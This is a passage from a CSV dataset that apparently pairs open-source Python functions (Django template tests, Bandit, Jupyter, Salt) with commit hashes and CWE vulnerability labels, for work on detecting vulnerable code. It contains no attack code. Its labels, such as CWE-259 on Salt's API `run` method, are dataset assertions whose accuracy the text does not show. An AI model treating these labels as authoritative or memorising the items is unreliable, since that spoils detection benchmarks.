            'i18n38': ('{% load i18n custom %}{% get_language_info for ""de""|noop:""x y"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n38_2': ('{% load i18n custom %}{% get_language_info_list for langcodes|noop:""x y"" as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),

            ### HANDLING OF TEMPLATE_STRING_IF_INVALID ###################################

            'invalidstr01': ('{{ var|default:""Foo"" }}', {}, ('Foo','INVALID')),
            'invalidstr02': ('{{ var|default_if_none:""Foo"" }}', {}, ('','INVALID')),
            'invalidstr03': ('{% for v in var %}({{ v }}){% endfor %}', {}, ''),
            'invalidstr04': ('{% if var %}Yes{% else %}No{% endif %}', {}, 'No'),
            'invalidstr04_2': ('{% if var|default:""Foo"" %}Yes{% else %}No{% endif %}', {}, 'Yes'),
            'invalidstr05': ('{{ var }}', {}, ('', ('INVALID %s', 'var'))),
            'invalidstr06': ('{{ var.prop }}', {'var': {}}, ('', ('INVALID %s', 'var.prop'))),

            ### MULTILINE #############################################################

            'multiline01': (""""""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """""",
                            {},
                            """"""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """"""),

            ### REGROUP TAG ###########################################################
            'regroup01': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [ {'foo':'c', 'bar':1},
                                     {'foo':'d', 'bar':1},
                                     {'foo':'a', 'bar':2},
                                     {'foo':'b', 'bar':2},
                                     {'foo':'x', 'bar':3}  ]},
                          '1:cd,2:ab,3:x,'),

            # Test for silent failure when target variable isn't found
            'regroup02': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {}, ''),

            # Regression tests for #17675
            # The date template filter has expects_localtime = True
            'regroup03': ('{% regroup data by at|date:""m"" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.at|date:""d"" }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'at': date(2012, 2, 14)},
                                    {'at': date(2012, 2, 28)},
                                    {'at': date(2012, 7, 4)}]},
                          '02:1428,07:04,'),
            # The join template filter has needs_autoescape = True
            'regroup04': ('{% regroup data by bar|join:"""" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo|first }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                                    {'foo': 'y', 'bar': ['a', 'bc']},
                                    {'foo': 'z', 'bar': ['a', 'd']}]},
                          'abc:xy,ad:z,'),

            # Test syntax
            'regroup05': ('{% regroup data by bar as %}', {},
                           template.TemplateSyntaxError),
            'regroup06': ('{% regroup data by bar thisaintright grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup07': ('{% regroup data thisaintright bar as grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup08': ('{% regroup data by bar as grouped toomanyargs %}', {},
                           template.TemplateSyntaxError),

            ### SSI TAG ########################################################

            # Test normal behavior
            'ssi01': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi02': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'not_here'), {}, ''),
            'ssi03': (""{%% ssi '%s' %%}"" % os.path.join(basedir, 'not_here'), {}, ''),

            # Test passing as a variable
            'ssi04': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': os.path.join(basedir, 'templates', 'ssi_include.html')}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi05': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': 'no_file'}, ''),

            # Test parsed output
            'ssi06': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include. Look ma! It parsed!\n'),
            'ssi07': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'not_here'), {'test': 'Look ma! It parsed!'}, ''),

            # Test space in file name
            'ssi08': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {}, 'This is for testing an ssi include with spaces in its name. {{ test }}\n'),
            'ssi09': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include with spaces in its name. Look ma! It parsed!\n'),

            ### TEMPLATETAG TAG #######################################################
            'templatetag01': ('{% templatetag openblock %}', {}, '{%'),
            'templatetag02': ('{% templatetag closeblock %}', {}, '%}'),
            'templatetag03': ('{% templatetag openvariable %}', {}, '{{'),
            'templatetag04': ('{% templatetag closevariable %}', {}, '}}'),
            'templatetag05': ('{% templatetag %}', {}, template.TemplateSyntaxError),
            'templatetag06': ('{% templatetag foo %}', {}, template.TemplateSyntaxError),
            'templatetag07': ('{% templatetag openbrace %}', {}, '{'),
            'templatetag08': ('{% templatetag closebrace %}', {}, '}'),
            'templatetag09': ('{% templatetag openbrace %}{% templatetag openbrace %}', {}, '{{'),
            'templatetag10': ('{% templatetag closebrace %}{% templatetag closebrace %}', {}, '}}'),
            'templatetag11': ('{% templatetag opencomment %}', {}, '{#'),
            'templatetag12': ('{% templatetag closecomment %}', {}, '#}'),

            # Simple tags with customized names
            'simpletag-renamed01': ('{% load custom %}{% minusone 7 %}', {}, '6'),
            'simpletag-renamed02': ('{% load custom %}{% minustwo 7 %}', {}, '5'),
            'simpletag-renamed03': ('{% load custom %}{% minustwo_overridden_name 7 %}', {}, template.TemplateSyntaxError),

            ### WIDTHRATIO TAG ########################################################
            'widthratio01': ('{% widthratio a b 0 %}', {'a':50,'b':100}, '0'),
            'widthratio02': ('{% widthratio a b 100 %}', {'a':0,'b':0}, '0'),
            'widthratio03': ('{% widthratio a b 100 %}', {'a':0,'b':100}, '0'),
            'widthratio04': ('{% widthratio a b 100 %}', {'a':50,'b':100}, '50'),
            'widthratio05': ('{% widthratio a b 100 %}', {'a':100,'b':100}, '100'),

            # 62.5 should round to 63 on Python 2 and 62 on Python 3
            # See http://docs.python.org/py3k/whatsnew/3.0.html
            'widthratio06': ('{% widthratio a b 100 %}', {'a':50,'b':80}, '62' if six.PY3 else '63'),

            # 71.4 should round to 71
            'widthratio07': ('{% widthratio a b 100 %}', {'a':50,'b':70}, '71'),

            # Raise exception if we don't have 3 args, last one an integer
            'widthratio08': ('{% widthratio %}', {}, template.TemplateSyntaxError),
            'widthratio09': ('{% widthratio a b %}', {'a':50,'b':100}, template.TemplateSyntaxError),
            'widthratio10': ('{% widthratio a b 100.0 %}', {'a':50,'b':100}, '50'),

            # #10043: widthratio should allow max_width to be a variable
            'widthratio11': ('{% widthratio a b c %}', {'a':50,'b':100, 'c': 100}, '50'),

            # #18739: widthratio should handle None args consistently with non-numerics
            'widthratio12a': ('{% widthratio a b c %}', {'a':'a','b':100,'c':100}, ''),
            'widthratio12b': ('{% widthratio a b c %}', {'a':None,'b':100,'c':100}, ''),
            'widthratio13a': ('{% widthratio a b c %}', {'a':0,'b':'b','c':100}, ''),
            'widthratio13b': ('{% widthratio a b c %}', {'a':0,'b':None,'c':100}, ''),
            'widthratio14a': ('{% widthratio a b c %}', {'a':0,'b':100,'c':'c'}, template.TemplateSyntaxError),
            'widthratio14b': ('{% widthratio a b c %}', {'a':0,'b':100,'c':None}, template.TemplateSyntaxError),

            # Test whitespace in filter argument
            'widthratio15': ('{% load custom %}{% widthratio a|noop:""x y"" b 0 %}', {'a':50,'b':100}, '0'),

            ### WITH TAG ########################################################
            'with01': ('{% with key=dict.key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),
            'legacywith01': ('{% with dict.key as key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),

            'with02': ('{{ key }}{% with key=dict.key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),
            'legacywith02': ('{{ key }}{% with dict.key as key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),

            'with03': ('{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}', {'alpha': 'A', 'beta': 'B'}, 'AB'),

            'with-error01': ('{% with dict.key xx key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),
            'with-error02': ('{% with dict.key as %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),

            ### NOW TAG ########################################################
            # Simple case
            'now01': ('{% now ""j n Y"" %}', {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            # Check parsing of locale strings
            'now02': ('{% now ""DATE_FORMAT"" %}', {},  date_format(datetime.now())),
            # Also accept simple quotes - #15092
            'now03': (""{% now 'j n Y' %}"", {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now04': (""{% now 'DATE_FORMAT' %}"", {},  date_format(datetime.now())),
            'now05': ('''{% now 'j ""n"" Y'%}''', {}, '''%d ""%d"" %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now06': ('''{% now ""j 'n' Y""%}''', {}, '''%d '%d' %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),

            ### URL TAG ########################################################
            # Successes
            'url01': ('{% url ""template_tests.views.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/client/1/'),
            'url02': ('{% url ""template_tests.views.client_action"" id=client.id action=""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02a': ('{% url ""template_tests.views.client_action"" client.id ""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02b': (""{% url 'template_tests.views.client_action' id=client.id action='update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02c': (""{% url 'template_tests.views.client_action' client.id 'update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url03': ('{% url ""template_tests.views.index"" %}', {}, '/url_tag/'),
            'url04': ('{% url ""named.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/named-client/1/'),
            'url05': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url06': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url07': ('{% url ""template_tests.views.client2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url08': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url09': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url10': ('{% url ""template_tests.views.client_action"" id=client.id action=""two words"" %}', {'client': {'id': 1}}, '/url_tag/client/1/two%20words/'),
            'url11': ('{% url ""template_tests.views.client_action"" id=client.id action=""=="" %}', {'client': {'id': 1}}, '/url_tag/client/1/%3D%3D/'),
            'url12': ('{% url ""template_tests.views.client_action"" id=client.id action="","" %}', {'client': {'id': 1}}, '/url_tag/client/1/%2C/'),
            'url13': ('{% url ""template_tests.views.client_action"" id=client.id action=arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url14': ('{% url ""template_tests.views.client_action"" client.id arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url15': ('{% url ""template_tests.views.client_action"" 12 ""test"" %}', {}, '/url_tag/client/12/test/'),
            'url18': ('{% url ""template_tests.views.client"" ""1,2"" %}', {}, '/url_tag/client/1%2C2/'),

            'url19': ('{% url named_url client.id %}', {'named_url': 'template_tests.views.client', 'client': {'id': 1}}, '/url_tag/client/1/'),
            'url20': ('{% url url_name_in_var client.id %}', {'url_name_in_var': 'named.client', 'client': {'id': 1}}, '/url_tag/named-client/1/'),

            # Failures
            'url-fail01': ('{% url %}', {}, template.TemplateSyntaxError),
            'url-fail02': ('{% url ""no_such_view"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail03': ('{% url ""template_tests.views.client"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail04': ('{% url ""view"" id, %}', {}, template.TemplateSyntaxError),
            'url-fail05': ('{% url ""view"" id= %}', {}, template.TemplateSyntaxError),
            'url-fail06': ('{% url ""view"" a.id=id %}', {}, template.TemplateSyntaxError),
            'url-fail07': ('{% url ""view"" a.id!id %}', {}, template.TemplateSyntaxError),
            'url-fail08': ('{% url ""view"" id=""unterminatedstring %}', {}, template.TemplateSyntaxError),
            'url-fail09': ('{% url ""view"" id="", %}', {}, template.TemplateSyntaxError),

            'url-fail11': ('{% url named_url %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail12': ('{% url named_url %}', {'named_url': 'no_such_view'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail13': ('{% url named_url %}', {'named_url': 'template_tests.views.client'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail14': ('{% url named_url id, %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail15': ('{% url named_url id= %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail16': ('{% url named_url a.id=id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail17': ('{% url named_url a.id!id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail18': ('{% url named_url id=""unterminatedstring %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail19': ('{% url named_url id="", %}', {'named_url': 'view'}, template.TemplateSyntaxError),

            # {% url ... as var %}
            'url-asvar01': ('{% url ""template_tests.views.index"" as url %}', {}, ''),
            'url-asvar02': ('{% url ""template_tests.views.index"" as url %}{{ url }}', {}, '/url_tag/'),
            'url-asvar03': ('{% url ""no_such_view"" as url %}{{ url }}', {}, ''),

            ### CACHE TAG ######################################################
            'cache03': ('{% load cache %}{% cache 2 test %}cache03{% endcache %}', {}, 'cache03'),
            'cache04': ('{% load cache %}{% cache 2 test %}cache04{% endcache %}', {}, 'cache03'),
            'cache05': ('{% load cache %}{% cache 2 test foo %}cache05{% endcache %}', {'foo': 1}, 'cache05'),
            'cache06': ('{% load cache %}{% cache 2 test foo %}cache06{% endcache %}', {'foo': 2}, 'cache06'),
            'cache07': ('{% load cache %}{% cache 2 test foo %}cache07{% endcache %}', {'foo': 1}, 'cache05'),

            # Allow first argument to be a variable.
            'cache08': ('{% load cache %}{% cache time test foo %}cache08{% endcache %}', {'foo': 2, 'time': 2}, 'cache06'),

            # Raise exception if we don't have at least 2 args, first one integer.
            'cache11': ('{% load cache %}{% cache %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache12': ('{% load cache %}{% cache 1 %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache13': ('{% load cache %}{% cache foo bar %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache14': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': 'fail'}, template.TemplateSyntaxError),
            'cache15': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': []}, template.TemplateSyntaxError),

            # Regression test for #7460.
            'cache16': ('{% load cache %}{% cache 1 foo bar %}{% endcache %}', {'foo': 'foo', 'bar': 'with spaces'}, ''),

            # Regression test for #11270.
            'cache17': ('{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}', {'poem': 'Oh freddled gruntbuggly/Thy micturations are to me/As plurdled gabbleblotchits/On a lurgid bee/That mordiously hath bitled out/Its earted jurtles/Into a rancid festering/Or else I shall rend thee in the gobberwarts with my blurglecruncheon/See if I dont.'}, 'Some Content'),

            # Test whitespace in filter arguments
            'cache18': ('{% load cache custom %}{% cache 2|noop:""x y"" cache18 %}cache18{% endcache %}', {}, 'cache18'),


            ### AUTOESCAPE TAG ##############################################
            'autoescape-tag01': (""{% autoescape off %}hello{% endautoescape %}"", {}, ""hello""),
            'autoescape-tag02': (""{% autoescape off %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""<b>hello</b>""),
            'autoescape-tag03': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt;""),

            # Autoescape disabling and enabling nest in a predictable way.
            'autoescape-tag04': (""{% autoescape off %}{{ first }} {% autoescape  on%}{{ first }}{% endautoescape %}{% endautoescape %}"", {""first"": ""<a>""}, ""<a> &lt;a&gt;""),

            'autoescape-tag05': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>first</b>""}, ""&lt;b&gt;first&lt;/b&gt;""),

            # Strings (ASCII or unicode) already marked as ""safe"" are not
            # auto-escaped
            'autoescape-tag06': (""{{ first }}"", {""first"": mark_safe(""<b>first</b>"")}, ""<b>first</b>""),
            'autoescape-tag07': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": mark_safe(""<b>Apple</b>"")}, ""<b>Apple</b>""),

            # Literal string arguments to filters, if used in the result, are
            # safe.
            'autoescape-tag08': (r'{% autoescape on %}{{ var|default_if_none:"" endquote\"" hah"" }}{% endautoescape %}', {""var"": None}, ' endquote"" hah'),

            # Objects which return safe strings as their __unicode__ method
            # won't get double-escaped.
            'autoescape-tag09': (r'{{ unsafe }}', {'unsafe': filters.UnsafeClass()}, 'you &amp; me'),
            'autoescape-tag10': (r'{{ safe }}', {'safe': filters.SafeClass()}, 'you &gt; me'),

            # The ""safe"" and ""escape"" filters cannot work due to internal
            # implementation details (fortunately, the (no)autoescape block
            # tags can be used in those cases)
            'autoescape-filtertag01': (""{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}"", {""first"": ""<a>""}, template.TemplateSyntaxError),

            # ifqeual compares unescaped vales.
            'autoescape-ifequal01': ('{% ifequal var ""this & that"" %}yes{% endifequal %}', { ""var"": ""this & that"" }, ""yes""),

            # Arguments to filters are 'safe' and manipulate their input unescaped.
            'autoescape-filters01': ('{{ var|cut:""&"" }}', { ""var"": ""this & that"" }, ""this  that"" ),
            'autoescape-filters02': ('{{ var|join:"" & \"" }}', { ""var"": (""Tom"", ""Dick"", ""Harry"") }, ""Tom & Dick & Harry""),

            # Literal strings are safe.
            'autoescape-literals01': ('{{ ""this & that"" }}',{}, ""this & that""),

            # Iterating over strings outputs safe characters.
            'autoescape-stringiterations01': ('{% for l in var %}{{ l }},{% endfor %}', {'var': 'K&R'}, ""K,&amp;,R,""),

            # Escape requirement survives lookup.
            'autoescape-lookup01': ('{{ var.key }}', { ""var"": {""key"": ""this & that"" }}, ""this &amp; that""),

            # Static template tags
            'static-prefixtag01': ('{% load static %}{% get_static_prefix %}', {}, settings.STATIC_URL),
            'static-prefixtag02': ('{% load static %}{% get_static_prefix as static_prefix %}{{ static_prefix }}', {}, settings.STATIC_URL),
            'static-prefixtag03': ('{% load static %}{% get_media_prefix %}', {}, settings.MEDIA_URL),
            'static-prefixtag04': ('{% load static %}{% get_media_prefix as media_prefix %}{{ media_prefix }}', {}, settings.MEDIA_URL),
            'static-statictag01': ('{% load static %}{% static ""admin/base.css"" %}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag02': ('{% load static %}{% static base_css %}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag03': ('{% load static %}{% static ""admin/base.css"" as foo %}{{ foo }}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag04': ('{% load static %}{% static base_css as foo %}{{ foo }}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),

            # Verbatim template tag outputs contents without rendering.
            'verbatim-tag01': ('{% verbatim %}{{bare   }}{% endverbatim %}', {}, '{{bare   }}'),
            'verbatim-tag02': ('{% verbatim %}{% endif %}{% endverbatim %}', {}, '{% endif %}'),
            'verbatim-tag03': (""{% verbatim %}It's the {% verbatim %} tag{% endverbatim %}"", {}, ""It's the {% verbatim %} tag""),
            'verbatim-tag04': ('{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}', {}, template.TemplateSyntaxError),
            'verbatim-tag05': ('{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}', {}, ''),
            'verbatim-tag06': (""{% verbatim special %}Don't {% endverbatim %} just yet{% endverbatim special %}"", {}, ""Don't {% endverbatim %} just yet""),
        }

        if numpy:
            tests.update({
                # Numpy's array-index syntax allows a template to access a certain item of a subscriptable object.
                'numpy-array-index01': (""{{ var.1 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ""second item""),

                # Fail silently when the array index is out of range.
                'numpy-array-index02': (""{{ var.5 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ("""", ""INVALID"")),
            })


        return tests"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/formatters/test_custom.py,0,"def setUp(self):
        super().setUp()
        conf = config.BanditConfig()
        self.manager = manager.BanditManager(conf, ""custom"")
        (tmp_fd, self.tmp_fname) = tempfile.mkstemp()
        self.context = {
            ""filename"": self.tmp_fname,
            ""lineno"": 4,
            ""linerange"": [4],
            ""col_offset"": 30,
        }
        self.check_name = ""hardcoded_bind_all_interfaces""
        self.issue = issue.Issue(
            bandit.MEDIUM,
            bandit.MEDIUM,
            text=""Possible binding to all interfaces."",
        )
        self.manager.out_file = self.tmp_fname

        self.issue.fname = self.context[""filename""]
        self.issue.lineno = self.context[""lineno""]
        self.issue.linerange = self.context[""linerange""]
        self.issue.col_offset = self.context[""col_offset""]
        self.issue.test = self.check_name

        self.manager.results.append(self.issue)",UNKNOWN,PyCQA/bandit,7d6ab4a3e503843df3da389ce32ab30832d71474,"def setUp(self):
        super().setUp()
        conf = config.BanditConfig()
        self.manager = manager.BanditManager(conf, ""custom"")
        (tmp_fd, self.tmp_fname) = tempfile.mkstemp()
        self.context = {
            ""filename"": self.tmp_fname,
            ""lineno"": 4,
            ""linerange"": [4],
            ""col_offset"": 30,
        }
        self.check_name = ""hardcoded_bind_all_interfaces""
        self.issue = issue.Issue(
            bandit.MEDIUM, bandit.MEDIUM, ""Possible binding to all interfaces.""
        )
        self.manager.out_file = self.tmp_fname

        self.issue.fname = self.context[""filename""]
        self.issue.lineno = self.context[""lineno""]
        self.issue.linerange = self.context[""linerange""]
        self.issue.col_offset = self.context[""col_offset""]
        self.issue.test = self.check_name

        self.manager.results.append(self.issue)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/bundler/zip_bundler.py,0,"def bundle(handler, model):
    """"""Create a zip file containing the original notebook and files referenced
    from it. Retain the referenced files in paths relative to the notebook.
    Return the zip as a file download. 
    
    Assumes the notebook and other files are all on local disk.
    
    Parameters
    ----------
    handler : tornado.web.RequestHandler
        Handler that serviced the bundle request
    model : dict
        Notebook model from the configured ContentManager
    """"""
    abs_nb_path = os.path.join(handler.settings['contents_manager'].root_dir,
        model['path'])
    notebook_filename = model['name']
    notebook_name = os.path.splitext(notebook_filename)[0] 

    # Headers
    zip_filename = os.path.splitext(notebook_name)[0] + '.zip'
    handler.set_header('Content-Disposition',
                       'attachment; filename=""%s""' % zip_filename)
    handler.set_header('Content-Type', 'application/zip')

    # Get associated files
    ref_filenames = tools.get_file_references(abs_nb_path, 4)

    # Prepare the zip file
    zip_buffer = io.BytesIO()
    zipf = zipfile.ZipFile(zip_buffer, mode='w', compression=zipfile.ZIP_DEFLATED)
    zipf.write(abs_nb_path, notebook_filename)

    notebook_dir = os.path.dirname(abs_nb_path)
    for nb_relative_filename in ref_filenames:
        # Build absolute path to file on disk
        abs_fn = os.path.join(notebook_dir, nb_relative_filename)
        # Store file under path relative to notebook 
        zipf.write(abs_fn, nb_relative_filename)

    zipf.close()

    # Return the buffer value as the response
    handler.finish(zip_buffer.getvalue())",,jupyter/notebook,4a3386663c7e3888cd3f39a098a5b17b5099e77f,"def bundle(handler, model):
    """"""Create a zip file containing the original notebook and files referenced
    from it. Retain the referenced files in paths relative to the notebook.
    Return the zip as a file download. 
    
    Assumes the notebook and other files are all on local disk.
    
    Parameters
    ----------
    handler : tornado.web.Handler
        Handler that serviced the bundle request
    model : dict
        Notebook model from a ContentManager
    """"""
    abs_nb_path = os.path.join(handler.settings['contents_manager'].root_dir,
        model['path'])
    notebook_filename = model['name']
    notebook_name = os.path.splitext(notebook_filename)[0] 

    # Headers
    zip_filename = os.path.splitext(notebook_name)[0] + '.zip'
    handler.set_header('Content-Disposition',
                       'attachment; filename=""%s""' % zip_filename)
    handler.set_header('Content-Type', 'application/zip')

    # Get associated files
    ref_filenames = tools.get_file_references(abs_nb_path, 4)

    # Prepare the zip file
    zip_buffer = io.BytesIO()
    zipf = zipfile.ZipFile(zip_buffer, mode='w', compression=zipfile.ZIP_DEFLATED)
    zipf.write(abs_nb_path, notebook_filename)

    notebook_dir = os.path.dirname(abs_nb_path)
    for nb_relative_filename in ref_filenames:
        # Build absolute path to file on disk
        abs_fn = os.path.join(notebook_dir, nb_relative_filename)
        # Store file under path relative to notebook 
        zipf.write(abs_fn, nb_relative_filename)

    zipf.close()

    # Return the buffer value as the response
    handler.finish(zip_buffer.getvalue())"
,UNKNOWN,UNKNOWN,salt/client/api.py,1,"def run(self, cmd):
        '''
        Execute the salt command given by cmd dict.

        cmd is a dictionary of the following form:

        {
            'mode': 'modestring',
            'fun' : 'modulefunctionstring',
            'kwarg': functionkeywordargdictionary,
            'tgt' : 'targetpatternstring',
            'expr_form' : 'targetpatterntype',
            'ret' : 'returner namestring',
            'timeout': 'functiontimeout',
            'arg' : 'functionpositionalarg sequence',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        Implied by the fun is which client is used to run the command, that is, either
        the master local minion client, the master runner client, or the master wheel client.

        The cmd dict items are as follows:

        mode: either 'sync' or 'async'. Defaults to 'async' if missing
        fun: required. If the function is to be run on the master using either
            a wheel or runner client then the fun: includes either
            'wheel.' or 'runner.' as a prefix and has three parts separated by '.'.
            Otherwise the fun: specifies a module to be run on a minion via the local
            minion client.
            Example:
                fun of 'wheel.config.values' run with master wheel client
                fun of 'runnner.manage.status' run with master runner client
                fun of 'test.ping' run with local minion client
                fun of 'wheel.foobar' run with with local minion client not wheel
        kwarg: A dictionary of keyword function parameters to be passed to the eventual
               salt function specificed by fun:
        tgt: Pattern string specifying the targeted minions when the implied client is local
        expr_form: Optional target pattern type string when client is local minion.
            Defaults to 'glob' if missing
        ret: Optional name string of returner when local minion client.
        arg: Optional positional argument string when local minion client
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        client = 'minion'  # default to local minion client
        mode = cmd.get('mode', 'async')  # default to 'async'

        # check for wheel or runner prefix to fun name to use wheel or runner client
        funparts = cmd.get('fun', '').split('.')
        if len(funparts) > 2 and funparts[0] in ['wheel', 'runner']:  # master
            client = funparts[0]
            cmd['fun'] = '.'.join(funparts[1:])  # strip prefix

        if not ('token' in cmd or
                ('eauth' in cmd and 'password' in cmd and 'username' in cmd)):
            raise EauthAuthenticationError('No authentication credentials given')

        executor = getattr(self, '{0}_{1}'.format(client, mode))
        result = executor(**cmd)
        return result",CWE-259,saltstack/salt,f4a75dbd410c13d823b0e9ae0779c0468e2a63d2,"def run(self, cmd):
        '''
        Execute the salt command given by cmd dict.

        cmd is a dictionary of the following form:

        {
            'mode': 'modestring',
            'fun' : 'modulefunctionstring',
            'kwarg': functionkeywordargdictionary,
            'tgt' : 'targetpatternstring',
            'expr_form' : 'targetpatterntype',
            'ret' : 'returner namestring',
            'timeout': 'functiontimeout',
            'arg' : 'functionpositionalarg sequence',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        Implied by the fun is which client is used to run the command, that is, either
        the master local minion client, the master runner client, or the master wheel client.

        The cmd dict items are as follows:

        mode: either 'sync' or 'async'. Defaults to 'async' if missing
        fun: required. If the function is to be run on the master using either
            a wheel or runner client then the fun: includes either
            'wheel.' or 'runner.' as a prefix and has three parts separated by '.'.
            Otherwise the fun: specifies a module to be run on a minion via the local
            minion client.
            Example:
                fun of 'wheel.config.values' run with master wheel client
                fun of 'runnner.manage.status' run with master runner client
                fun of 'test.ping' run with local minion client
                fun of 'wheel.foobar' run with with local minion client not wheel
        kwarg: A dictionary of keyword function parameters to be passed to the eventual
               salt function specificed by fun:
